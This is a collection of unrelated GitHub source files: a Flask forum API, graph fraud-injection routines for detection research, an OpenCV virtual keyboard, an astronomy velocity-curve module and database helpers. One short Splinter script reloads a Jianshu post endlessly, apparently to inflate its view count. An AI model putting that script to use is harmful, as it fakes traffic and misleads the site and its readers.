db.close()\n\n\n# create initial schema's\ndef create_schema():\n with app.app_context():\n db = get_db()\n with app.open_resource('createSchema.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n@app.cli.command('createschema')\ndef create_schema_command():\n \"\"\"Initializes the database. and create schema\"\"\"\n create_schema()\n print('Database Schema Created')\n\n\n# Insert dummy data into database\ndef insert_data():\n with app.app_context():\n db = get_db()\n with app.open_resource('insertData.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n@app.cli.command('insertdata')\ndef insert_data_command():\n \"\"\"Insert dummy data to database\"\"\"\n insert_data()\n print('Dummy data inserted to database')\n\n# Initial operations completed ###\n\n\n# A factory class\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\n# common query function\ndef query_db(query, args=(), one=False):\n cur = get_db().execute(query, args)\n rv = cur.fetchall()\n cur.close()\n return (rv[0] if rv else None) if one else rv\n\n# Find user_id using username\ndef get_user_name(username):\n rv = query_db('SELECT username FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# Return user_id using the user_id\ndef get_user_id(_id):\n rv = query_db('SELECT user_id FROM user WHERE user_id = ?',\n [_id], one=True)\n return rv[0] if rv else None\n\n# User registration\n@app.route('/users', methods=['POST'])\ndef register_user():\n parser = reqparse.RequestParser()\n parser.add_argument('username',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('password',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n\n if get_user_name(data['username']):\n return jsonify({\"message\":\"user with that name already exists\"}), 409\n\n connection = get_db()\n cursor = connection.cursor()\n query = \"INSERT INTO user VALUES (NULL,?,?)\"\n cursor.execute(query, (data['username'], generate_password_hash(data['password'])))\n connection.commit()\n connection.close()\n resp = Response(status=201, mimetype='application/json')\n return resp\n\n\n# Update User Info\n@app.route('/users/<username>', methods=['PUT'])\n@basic_auth.required\ndef update_user(username):\n parser = reqparse.RequestParser()\n parser.add_argument('username',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('password',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n if get_user_name(username) is None:\n return jsonify({\"message\": \"user with that name not found\"}), 404\n\n if request.authorization.username != username:\n return jsonify({\"message\": \"not authenticated user\"}), 409\n\n connection = get_db()\n cursor = connection.cursor()\n\n query = \"update user set password = ? where username = ?\"\n cursor.execute(query, (generate_password_hash(data['password']), username))\n\n connection.commit()\n connection.close()\n\n return jsonify({\"message\": \"user updated successfully\"}), 200\n\n\n####### Forum API's #######\n\n# Find forumname based on name\ndef get_forum_name(name):\n rv = query_db('SELECT name FROM forum WHERE name = ?',\n [name], one=True)\n return rv[0] if rv else None\n\n\n# Find forum id\ndef get_forum_id():\n rv = query_db('SELECT forum_id FROM forum ORDER BY forum_id DESC',\n one=True)\n return rv[0] if rv else None\n\n# Find user id\ndef get_user_id(username):\n rv = query_db('SELECT user_id FROM user where username = ?',[username],one=True)\n return rv[0] if rv else None\n\n# Find user_id using username\ndef get_forum_user_id(username):\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET Operation on forums\n@app.route('/forums', methods=['GET'])\ndef get_forum():\n\n forums = query_db('''\n SELECT f.forum_id as id, f.name as name, u.username as creator \n FROM forum f, user u \n where f.user_id = u.user_id limit ?''', [PER_PAGE])\n\n forumdic = []\n if forums:\n for forum in forums:\n forumdic.append({\"id\":forum[0], \"name\":forum[1], \"creator\":forum[2]})\n return jsonify({'Forums': forumdic}), 200\n return {}\n\n\n# POST Operation on forums\n@app.route('/forums', methods=['POST'])\n@basic_auth.required\ndef post_forums():\n parser = reqparse.RequestParser()\n parser.add_argument('name',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n connection = get_db()\n cursor = connection.cursor()\n user_id = get_user_id(request.authorization.username)\n if user_id is not None:\n if get_forum_name(data['name']):\n return jsonify({\"message\": \"forum with that name already exists\"}), 409\n query = \"INSERT INTO forum VALUES (NULL,?,?)\"\n cursor.execute(query, (data['name'], user_id))\n else:\n resp = Response(status=404, mimetype='application/json')\n connection.commit()\n return resp\n connection.commit()\n\n respObj = Response(status=201, mimetype='application/json')\n\n forum_id = get_forum_id()\n if forum_id:\n respObj.headers['Location'] = 'http://127.0.0.1:5000/forums/'+str(forum_id)\n connection.close()\n return respObj\n\n\n###### Thread API's ######\n\n# Get forum_id for thread\ndef get_thread_forum_id(forumid):\n rv = query_db('SELECT forum_id FROM forum WHERE forum_id = ?',\n [forumid], one=True)\n return rv[0] if rv else None\n\n\n# Get thread Id\ndef get_thread_id():\n rv = query_db('SELECT thread_id FROM thread ORDER BY thread_id DESC',\n one=True)\n return rv[0] if rv else None\n\n\n# Find user_id using the username\ndef get_logged_in_user_id(username):\n if username is None:\n return None\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET Operation on Thread\n@app.route('/forums/<forum_id>', methods=['GET'])\ndef get_threads(forum_id):\n threads = query_db('''select t.thread_id as id,t.title as title, \n (select p.timestamp from post p, thread t \n WHERE t.thread_id = p.thread_id \n and t.forum_id = ? order by p.post_id desc) as timestamp, \n (select u.username from post p, thread t, user u \n WHERE t.thread_id = p.thread_id and t.forum_id = ? \n and p.user_id = u.user_id order by p.post_id asc) as creator, t.title \n from thread t ''', [forum_id, forum_id])\n\n threadlist = []\n if threads:\n for thread in threads:\n threadlist.append({\"id\": thread[0], \"title\": thread[1], \"creator\": thread[3], \"timestamp\": thread[2]})\n return jsonify({'Threads': threadlist}), 200\n return {}, 404\n\n\n# POST Operation in Thread\n@app.route('/forums/<forum_id>', methods=['POST'])\n@basic_auth.required\ndef post_threads(forum_id):\n\n # parser to parse the payload\n parser = reqparse.RequestParser()\n parser.add_argument('title',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('text',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n\n data = parser.parse_args()\n\n if get_thread_forum_id(forum_id) is None:\n return jsonify({\"message\":\"forum does not exist\"}), 404\n\n connection = get_db()\n cursor = connection.cursor()\n\n query = \"INSERT INTO thread VALUES (NULL,?,?)\"\n cursor.execute(query, (forum_id, data['title']))\n connection.commit()\n\n thread_id = get_thread_id()\n user_id = get_user_id(request.authorization.username)\n if thread_id and user_id:\n query = \"INSERT INTO post VALUES (NULL,?,?,?,?)\"\n cursor.execute(query, (thread_id, user_id, data['text'], datetime.now()))\n connection.commit()\n\n resp = Response(status=201, mimetype='application/json')\n resp.headers['Location'] = 'http://127.0.0.1:5000/forums/' + str(forum_id) +'/'+str(thread_id)\n\n connection.close()\n return resp\n\n\n##### POST API's ######\n# Get thread Id using forum Id\ndef get_post_thread_id(forum_id, thread_id):\n rv = query_db('SELECT thread_id FROM thread WHERE thread_id = ? and forum_id = ?',\n [forum_id, thread_id], one=True)\n return rv[0] if rv else None\n# Find user_id using the username\ndef get_logged_in_user_id(username):\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET operations for POST'S\n@app.route('/forums/<forum_id>/<thread_id>', methods=['GET'])\ndef get_posts(forum_id=None, thread_id=None):\n print('inside method')\n # if get_post_thread_id(forum_id, thread_id) is None:\n # return jsonify({\"message\":\"forum / thread does not exist\"}), 404\n\n posts = query_db('''\n SELECT u.username as author, p.text, p.timestamp \n FROM post p, thread t, user u \n where t.thread_id = p.thread_id \n and t.thread_id = ? and t.forum_id = ? \n and u.user_id = p.user_id \n order by timestamp desc''', [thread_id, forum_id])\n\n postlist = []\n if posts:\n for post in posts:\n postlist.append({\"author\": post[0], \"text\": post[1], \"timestamp\": post[2]})\n return jsonify({'Posts': postlist}), 200\n return {}, 404\n\n# POST operations for POST'S\n@app.route('/forums/<forum_id>/<thread_id>', methods=['POST'])\n@basic_auth.required\ndef post_posts(forum_id, thread_id):\n parser = reqparse.RequestParser()\n parser.add_argument('text',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n thread_id=get_post_thread_id(forum_id, thread_id)\n print(thread_id);\n if get_post_thread_id(forum_id, thread_id) is None:\n return jsonify({\"message\": \"forum / thread does not exist\"}), 404\n connection = get_db()\n cursor = connection.cursor()\n user_id = get_user_id(request.authorization.username)\n query = \"INSERT INTO post VALUES (NULL,?,?,?,?)\"\n cursor.execute(query, (thread_id, user_id, data['text'], datetime.now()))\n connection.commit()\n resp = Response(status=201, mimetype='application/json')\n connection.close()\n return resp\napp.run()\n","repo_name":"raninagare/DiscussionForum","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29590893522","text":"#!/usr/bin/env python3\n# -*- coding=utf-8 -*-\n\n# Project: dspus\n# injections.py\n# Created by @wenchieh on <1/12/2020>\n\n__author__ = 'wenchieh'\n\n# sys\nfrom random import sample\n\n# third-part libs\nimport numpy as np\nfrom scipy import linalg\nfrom scipy.sparse import *\n\n\n# parameters in injection -\n# spike(M, N, Dspike, C),\n# gap(M, N, D0, Dgap, C)\ndef injectSpike(Nall, M, N, Dspike, C):\n Nstart, i = Nall, Nall\n injectEs = list()\n injectUs, injectVs = range(Nall, Nall + M, 1), range(Nall, Nall + N, 1)\n for m in range(M):\n # standard normal distribution\n v1, v2, w = 0.0, 0.0, 2.0\n while w > 1.0:\n v1 = random.random() * 2.0 - 1.0\n v2 = random.random() * 2.0 - 1.0\n w = v1 * v1 + v2 * v2\n outd = int(Dspike + v1 * np.sqrt(-2.0 * np.log(w) / w))\n if outd < 0: outd = Dspike\n outdC = int(outd * C)\n outdN = outd - outdC\n Ns, Cs = set(), set()\n for d in range(outdN):\n Ns.add(Nstart + M + random.randint(N))\n for d in range(outdC):\n Cs.add(random.randint(Nall))\n\n for j in Ns:\n injectEs.append([i, j])\n for j in Cs:\n injectEs.append([i, j])\n i += 1\n return len(injectEs), injectEs, injectUs, injectVs\n\ndef injectGap(Nall, M, N, D0, Dgap, C):\n injectEs = list()\n injectUs, injectVs = range(Nall, Nall + M, 1), range(Nall, Nall + N, 1)\n Nstart, i = Nall, Nall\n Md = int(1.0 * M / (Dgap - D0 + 1))\n for outd in range(D0, Dgap, 1):\n for m in range(Md):\n outdC = int(outd * C)\n outdN = outd - outdC\n Ns, Cs = set(), set()\n for d in range(outdN):\n Ns.add(Nstart + M + random.randint(N))\n for d in range(outdC):\n Cs.add(random.randint(Nall))\n for j in Ns:\n injectEs.append([i, j])\n for j in Cs:\n injectEs.append([i, j])\n i += 1\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n\ndef genEvenDenseBlock(A, B, p):\n m = []\n for i in range(A):\n a = np.random.binomial(1, p, B)\n m.append(a)\n return np.array(m)\n\ndef genHyperbolaDenseBlock(A, B, alpha, tau):\n 'this is from hyperbolic paper: i^\\alpha * j^\\alpha > \\tau'\n m = np.empty([A, B], dtype=int)\n for i in range(A):\n for j in range(B):\n if (i+1)**alpha * (j+1)**alpha > tau:\n m[i,j] = 1\n else:\n m[i,j] = 0\n return m\n\ndef genDiHyperRectBlocks(A1, B1, A2, B2, alpha=-0.5, tau=None, p=1):\n if tau is None:\n tau = A1**alpha * B1**alpha\n m1 = genEvenDenseBlock(A1, B1, p=p)\n m2 = genHyperbolaDenseBlock(A2, B2, alpha, tau)\n M = linalg.block_diag(m1, m2)\n return M\n\ndef addnosie(M, A, B, p, black=True, A0=0, B0=0):\n v = 1 if black else 0\n for i in range(A-A0):\n a = np.random.binomial(1, p, B-B0)\n for j in a.nonzero()[0]:\n M[A0+i,B0+j]=v\n return M\n\n\n# inject a clique of size m0 by n0 with density p.\n# the last parameter `testIdx` determines the camouflage type.\n# testIdx = 1: random camouflage, with camouflage density set so each fraudster outputs approximately equal number of fraudulent and camouflage edges\n# testIdx = 2: random camouflage, with double the density as in the precious setting\n# testIdx = 3: biased camouflage, more likely to add camouflage to high degree column\n#\n# def injectCliqueCamo(M, m0, n0, p, testIdx):\n# (m,n) = M.shape\n# M2 = M.copy().tolil()\n#\n# colSum = np.squeeze(M2.sum(axis = 0).A)\n# colSumPart = colSum[n0:n]\n# colSumPartPro = np.int_(colSumPart)\n# colIdx = np.arange(n0, n, 1)\n# population = np.repeat(colIdx, colSumPartPro, axis = 0)\n#\n# for i in range(m0):\n# # inject clique\n# for j in range(n0):\n# if random.random() < p:\n# M2[i,j] = 1\n# # inject camo\n# if testIdx == 1:\n# thres = p * n0 / (n - n0)\n# for j in range(n0, n):\n# if random.random() < thres:\n# M2[i,j] = 1\n# if testIdx == 2:\n# thres = 2 * p * n0 / (n - n0)\n# for j in range(n0, n):\n# if random.random() < thres:\n# M2[i,j] = 1\n# # biased camo\n# if testIdx == 3:\n# colRplmt = random.sample(population, int(n0 * p))\n# M2[i,colRplmt] = 1\n#\n# return M2.tocsc()\n\n# inject a clique of size m0 by n0 with density p.\n# the last parameter `testIdx` determines the camouflage type.\n# testIdx = 1: random camouflage, with camouflage density set so each fraudster outputs approximately equal number of fraudulent and camouflage edges\n# testIdx = 2: random camouflage, with double the density as in the precious setting\n# testIdx = 3: biased camouflage, more likely to add camouflage to high degree column\ndef injectCliqueCamo(M, m0, n0, p, testIdx):\n (m, n) = M.shape\n injectEs = list()\n injectUs, injectVs = np.arange(m0), np.arange(n0)\n\n if testIdx in [3, 4]: # popular biased camouflage\n colSum = np.squeeze(M.sum(axis = 0).A)\n colSumPart = colSum[n0:n]\n colSumPartPro = np.int_(colSumPart)\n colIdx = np.arange(n0, n, 1)\n population = np.repeat(colIdx, colSumPartPro, axis = 0)\n\n for i in range(m0):\n # inject clique\n for j in range(n0):\n if np.random.random() < p:\n injectEs.append([i,j])\n\n if testIdx == 0:\n continue\n # inject random camo\n if testIdx == 1:\n thres = p * n0 / (n - n0)\n for j in range(n0, n):\n if np.random.random() < thres:\n injectEs.append([i,j])\n if testIdx == 2:\n thres = 2 * p * n0 / (n - n0)\n for j in range(n0, n):\n if np.random.random() < thres:\n injectEs.append([i,j])\n # biased camo\n if testIdx == 3:\n colRplmt = sample(population, int(n0 * p))\n for j in colRplmt:\n injectEs.append([i,j])\n if testIdx == 4:\n colRplmt = sample(population, int(2* n0 * p))\n for j in colRplmt:\n injectEs.append([i,j])\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n\n# inject appended m0 by n0 camouflages to background graph M (cpy & paste patterns)\n# add new nodes and edges\ndef injectAppendCPsCamo(M, m0, n0, p, camos):\n (m, n) = M.shape\n injectEs = list()\n injectUs, injectVs = np.arange(m0) + m, np.arange(n0) + n\n\n col_sum = np.squeeze(M.sum(axis = 0).A)\n col_sumpro = np.int_(col_sum)\n col_idx = np.arange(n)\n pops = np.repeat(col_idx, col_sumpro, axis = 0)\n\n # inject dependent block\n for i in injectUs:\n for j in injectVs:\n pe = random.random()\n if pe < p: injectEs.append([i, j])\n\n if camos == 0: pass # no camo\n if camos == 1:\n # random camo\n thres = p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres: injectEs.append([i, j])\n if camos == 2:\n # popular biased camo\n col_pops = random.sample(pops, int(n0 * p))\n for j in col_pops: injectEs.append([i, j])\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n# pick nodes in original graph and add new edges\ndef injectPromotCamo(M, ms, ns, p, camos):\n (m, n) = M.shape\n M2 = M.copy()\n m0, n0 = len(ms), len(ns)\n\n injectEs = list()\n injectUs, injectVs = np.asarray(ms, dtype=int), np.asarray(ns, dtype=int)\n\n if camos in [3, 4, 5]:\n col_sum = np.squeeze(M2.sum(axis = 0).A)\n col_idx = np.setdiff1d(np.arange(n, dtype=int), injectVs)\n col_sumpart = col_sum[col_idx]\n pops = np.repeat(col_idx, np.int_(col_sumpart), axis = 0)\n\n for i in injectUs:\n # inject clique\n for j in injectVs:\n if random.random() < p and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n if camos == 0:\n continue\n if camos == 1:\n # random camo\n thres = p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n if camos == 2:\n # random camo\n thres = 2 * p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n if camos in [3, 4, 5]:\n # popular biased camo\n n0p = 0\n if camos == 4: n0p = 0.5 * n0 *p\n elif camos == 3: n0p = n0 * p\n elif camos == 5: n0p = 2 * n0 * p\n\n col_pops = random.sample(pops, int(n0p))\n for j in col_pops:\n if M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, injectUs, injectVs\n\ndef injectFraudConstObjs(M, ms, ns, p, testIdx):\n M2 = M.copy()\n\n injectEs = list()\n injectUs = np.asarray(ms, dtype=int)\n injectVs = np.asarray(ns, dtype=int)\n\n if testIdx == 0:\n M2[ms, :][:, ns] = 0\n nmps = int(p * len(ms))\n for j in injectVs:\n for i in random.sample(injectUs, nmps):\n if M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n elif testIdx == 1:\n for i in injectUs:\n for j in injectVs:\n if random.random() < p and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, injectUs, injectVs\n\ndef injectedCamos(M, ms, ns, p, camos):\n (m, n) = M.shape\n M1 = M.copy()\n m0, n0 = len(ms), len(ns)\n\n otherns = np.setdiff1d(np.arange(n, dtype=int), ns)\n\n for i in ms:\n if camos == 1: # random camo\n thres = p * n0 / (n - n0)\n for j in otherns:\n if random.random() < thres:\n M1[i, j] = 1\n if camos in [3, 4, 5]: # biased camo\n col_sum = np.squeeze(M.sum(axis = 0).A)\n col_sumpart = col_sum[otherns]\n pops = np.repeat(otherns, np.int_(col_sumpart), axis = 0)\n\n n0p = n0 * p\n if camos == 3: n0p *= 0.25\n if camos == 4: n0p *= 0.5\n col_pops = random.sample(pops, int(n0p))\n for j in col_pops:\n M1[i, j] = 1\n return M1\n\ndef injectJellyAttack(M, ms, ns, pns, p1, p2):\n (m, n) = M.shape\n M2 = M.copy()\n m0, n0, n1 = len(ms), len(ns), len(pns)\n\n injectEs = list()\n # col_idx = pns\n # col_sum = np.squeeze(M2[:, pns].sum(axis = 0).A)\n # pops = np.repeat(col_idx, np.int_(col_sum), axis = 0)\n\n for i in ms:\n for j in ns:\n if random.random() < p1 and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n for j in pns:\n if random.random() < p2 and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, ms, ns\n","repo_name":"wenchieh/specgreedy","sub_path":"src/injections.py","file_name":"injections.py","file_ext":"py","file_size_in_byte":11338,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"20866534786","text":"# -*- coding:utf-8 -*-\nimport init_env\nimport time\nfrom splinter import Browser\n\n\nclass Blog:\n def __init__(self, browser=None):\n self.browser = browser\n self.view()\n\n def view(self):\n \"\"\"刷帖子\n \"\"\"\n browser = self.browser\n # 打开帖子\n browser.visit('https://www.jianshu.com/p/e91ee83f2348')\n time.sleep(1)\n\n # 刷新\n while True:\n browser.reload()\n time.sleep(5)\n\nif __name__ == \"__main__\":\n browser = Browser(\"chrome\")\n Blog(browser)\n","repo_name":"DoubleDD/python_test","sub_path":"splinter/jianshu/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20737089392","text":"'''\nWrite a function called sumZero which accepts a sorted array of integers. \nThe function should find the first pair where the sum is 0. Return an array that \nincludes both values that sum to zero or undefined if a pair does not exist\n'''\narr1 = [-1,2,3,-3,4,5]\narr2 = [-2,0,1,3]\n\n\ndef sumZero(arr):\n arr.sort()\n pointer1 = 0\n pointer2 = len(arr) - 1\n while pointer1 < pointer2:\n if arr[pointer1] + arr[pointer2] == 0:\n return [arr[pointer1], arr[pointer2]]\n elif arr[pointer1] + arr[pointer2] > 0:\n pointer2 -= 1\n else:\n pointer1 += 1\n return None\n\nprint(sumZero(arr1))\nprint(sumZero(arr2))","repo_name":"irisjitomo/HackerRankStudy","sub_path":"Section3-Redux-ProblemSolvingPatterns/Lesson3-MultiplePatterns/sumZero.py","file_name":"sumZero.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15921093526","text":"#pip install cvzone==1.4.1\r\n#pip install opencv-python\r\n#pip install pynput\r\n\r\nimport cv2\r\nfrom cvzone.HandTrackingModule import HandDetector\r\nimport cvzone\r\nfrom time import sleep\r\nfrom pynput.keyboard import Controller\r\n\r\nkeyboard = Controller()\r\n\r\ndetector = HandDetector(detectionCon=0.8)\r\n\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3, 2120)\r\ncap.set(4, 1080)\r\n\r\n\r\ndef drawAll(img, buttonList):\r\n for button in buttonList:\r\n x, y = button.pos\r\n w, h = button.size\r\n cvzone.cornerRect(img, (button.pos[0], button.pos[1], button.size[0], button.size[1]), 20, rt=0)\r\n cv2.rectangle(img, button.pos, (x + w, y + h), (0, 255, 105), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65),\r\n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n return img\r\n\r\n\r\nclass Button():\r\n def __init__(self, pos, text, size=[85, 85]):\r\n self.pos = pos\r\n self.size = size\r\n self.text = text\r\n\r\nkeys = [[\"Q\", \"W\", \"E\", \"R\", \"T\", \"Y\", \"U\", \"I\", \"O\", \"P\"],\r\n [\"A\", \"S\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \";\"],\r\n [\"Z\", \"X\", \"C\", \"V\", \"B\", \"N\", \"M\", \",\", \".\", \"\\t\"]]\r\n\r\n\r\nbuttonList = []\r\nfor i in range(len(keys)):\r\n for j, key in enumerate(keys[i]):\r\n buttonList.append(Button([100 * j + 50, 100 * i + 50], key))\r\n\r\n\r\n\r\nwhile True:\r\n res, img = cap.read()\r\n img = detector.findHands(img)\r\n lmList, bboxInfo = detector.findPosition(img)\r\n\r\n img = drawAll(img, buttonList)\r\n\r\n if lmList:\r\n for button in buttonList:\r\n x, y = button.pos\r\n w, h = button.size\r\n\r\n if x < lmList[8][0] < x + w and y < lmList[8][1] < y + h:\r\n cv2.rectangle(img, (x - 5, y - 5), (x + w + 5, y + h + 5), (175, 0, 175), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65),\r\n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n\r\n l, _, _ = detector.findDistance(8, 12, img, draw=False)\r\n print(l)\r\n\r\n ## when clicked\r\n if l < 45:\r\n keyboard.press(button.text)\r\n cv2.rectangle(img, button.pos, (x + w, y + h), (0, 0, 255), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65), cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n sleep(0.20)\r\n\r\n\r\n\r\n\r\n cv2.imshow(\"Image\", img)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\ncv2.destroyAllWindows()","repo_name":"Pepcoders/Data-Science","sub_path":"openCv_virtual-keyboard.py","file_name":"openCv_virtual-keyboard.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"31151440438","text":"import numpy as np\nimport matplotlib.pyplot as plt\n#pro vcurve,g,pd,ai,e,w,fout\n\n# This procedure creates a 2 x 360 array containing the \n# radial velocity data as a function of time for a spectroscopic\n# binary. Input g (center of mass velocity of system), pd\n# (period of orbit in days), ai (asin(i) of orbit in giga-meters),\n# e (eccentricity of orbit), w (longitude of periastron), and\n# fout (name of output file).\n# Formulae from Heintz (1978), Danby (1990), and math tables.\n# LAP 9.1.96\n\n# print statement to prompt input:\n\n#print,'type g(km/s),pd(days),ai(Gm),e(ecc), w(deg) & output (filename)'\n\n#port from IDL by Laura Flagg\ndef v_curve(g,pd,ai,e,w):\n fout=np.zeros((2,360))\n out=np.zeros((2,360))\n \n # define pi and convert to useful units\n \n pi=np.pi\n # convert to seconds:\n p=pd*8.64e4\n # convert to km:\n asi=ai*1e6\n # convert to radians:\n wr=(w/360.0)*2*pi\n \n #stop\n \n t1=g\n t2=2*pi/p #units of s^-1, angular frequency\n t3=asi #distaance\n ed=(1-e**2)\n t4=np.sqrt(1/ed)\n t5=e*np.cos(wr) #large if wr is close to 0, dimensionless\n erat=(np.sqrt((1-e)/(1+e)))\n \n # print,sqrt((1-e)/(1+e))\n #stop\n for ji in range(0,360):\n \n j=ji+540\n jr=(j/360.0)*2*pi #the angle in radians\n \n t6=np.cos(jr+wr) #combine the positiona angle with the angle of periastron\n \n v=t1+(t2*t3*t4*(t5+t6))\n \n prt1=(e*np.sin(jr)*np.sqrt(ed)/(1+e*np.cos(jr)))\n prt2=2*np.arctan(erat*np.tan(jr/2.0))\n if ji == 0:\n prt2=-pi \n #because of weird idl, they get -pi, while python gets pi, so correcting that\n jj=j-540\n t=(1/t2)*(prt2-prt1)\n \n out[0,jj]=t/p\n out[1,jj]=v\n # if ji == 180:\n # print prt1, prt2, t, t2, t6,p, out[0,jj], jj, jr, np.tan(jr/2.0)\n\n \n \n # print,j,jr,t6,v,out(0,jj),out(1,jj)\n \n \n if out[0,0] < 0.0:\n out[0,]=out[0,] - out[0,0]\n \n \n fout[0,0:180]=out[0,180:]-out[0,180]\n fout[0,180:]=out[0,0:180]+out[0,180]\n fout[1,0:180]=out[1,180:]\n fout[1,180:]=out[1,0:180]\n \n return fout\n\ndef citau(phase,par):#\n #function func_citau,phase,par\n #\n # This function computes the radial velocity amplitude for a single\n # line spectroscopic binary, using the code vcurve.pro supplied by\n # Lisa Prato. \n # INPUTS:\n # phase - The orbital phase for the desired points\n # par(0) - g: center of mass velocity of system in m/s\n # par(1) - pd: period of orbit in days\n # par(2) - ai: asin(i) of orbit in giga-meters\n # par(3) - e: eccentricity of orbit\n # par(4) - w: longitude of periastron\n # par(5) - ph0: Phase offset \n# OUTPUTS:\n# function returns the velocity of the star in m/s\n#\n# HISTORY:\n# 10-Apr-2014 CMJ - Written, based on func420.pro for XO-3b\n# 25-Feb-2007 CMJ - Written\n# 13-Mar-2007 CMJ - Added Phase offset term\n#\n\n # Set up variables\n g = par[0]/1000.\n pd = par[1]\n par[2] = abs(par[2])\n ai = par[2]\n par[3] = abs(par[3])\n e = par[3]\n par[4] = par[4] % 360.\n w = par[4]\n par[5] = (par[5]+20.) % 1.\n ph0 = par[5]\n #if ph0 lt 0. then ph0 = 0.\n #if ph0 gt 1. then ph0 = 1.\n \n fout=v_curve(g,pd,ai,e,w)\n \n # Interpolate onto phases and return\n #\n #vel = 1.d3*interpol(reform(fout(1,*)),reform(fout(0,*)),((phase+ph0) mod 1.)) \n a=fout[1]\n b=fout[0]\n c=((phase+ph0) % 1.)\n vel=np.interp(c,b,a)*1000.\n #in m/s\n #vel(10:20) = vel(10:20) + par(6) # adjust HET velocities\n \n\n \n return vel\n\nif 1==2: \n par=np.zeros(6)\n par[0] = -134.70961 #center of mass velocity in m/s\n par[1] = 8.9891005 #period\n par[2] = 0.11257813 # asin(i) of orbit in giga-meters\n par[3] = 0.25086000 #eccentricity\n par[4] = 31.342030 ;#arg of periastron\n par[5] = 0.51032202 # phase offset\n \n phases=np.arange(0,101)/100.\n \n a_0=citau(phases,par)/1000.\n #velocities now in km/s\n ","repo_name":"lauraflagg/combine-and-xcor","sub_path":"v_curve.py","file_name":"v_curve.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37560093841","text":"#!/usr/bin/env python\r\n\r\n\"\"\"\r\nUsing the Database Helper functions we defined earlier, this file is for\r\nusing our helpers to create a transaction table, and performing our database features\r\ninvolving the transaction table\r\n\"\"\"\r\n\r\n# Imports\r\nfrom db_helper import *\r\n\r\n# Table Creation Methods\r\ndef init_Transactions_Table(connection):\r\n\tcreate_transactions_table = \"\"\"\r\n\tCREATE TABLE IF NOT EXISTS Transactions (\r\n\t\tTR_ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\r\n\t\tDate DATETIME NOT NULL,\r\n\t\tCount INTEGER NOT NULL,\r\n\t\tProduct_ID INTEGER NOT NULL,\r\n\t\tCustomer_Name CHAR(100),\r\n\t\tSale_Price DOUBLE NOT NULL,\r\n\t\tFOREIGN KEY (Product_ID) REFERENCES Products (SKU_ID)\r\n\t);\r\n\t\"\"\"\r\n\r\n\texecute_query(connection, create_transactions_table)\r\n\r\n# Will add a transaction based on a list of data provided by the user\r\ndef addTransaction(connection, transaction_data):\r\n\ttransaction_columns = ['Date', 'Count', 'Product_ID', 'Customer_Name']\r\n\tinsert_query(connection, 'Transactions', transaction_columns, transaction_data)\r\n\r\n# Will edit an existing transaction based on user set_condition based on SKU_ID\r\ndef editTransaction(connection, set_condition, TR_ID):\r\n\tedit_query(connection, 'Transactions', set_condition, 'TR_ID = ' + TR_ID)\r\n\r\n# Will delete an existing transaction based on SKU_ID\r\ndef delTransaction(connection, TR_ID):\r\n\tdelete_query(connection, 'Transactions', 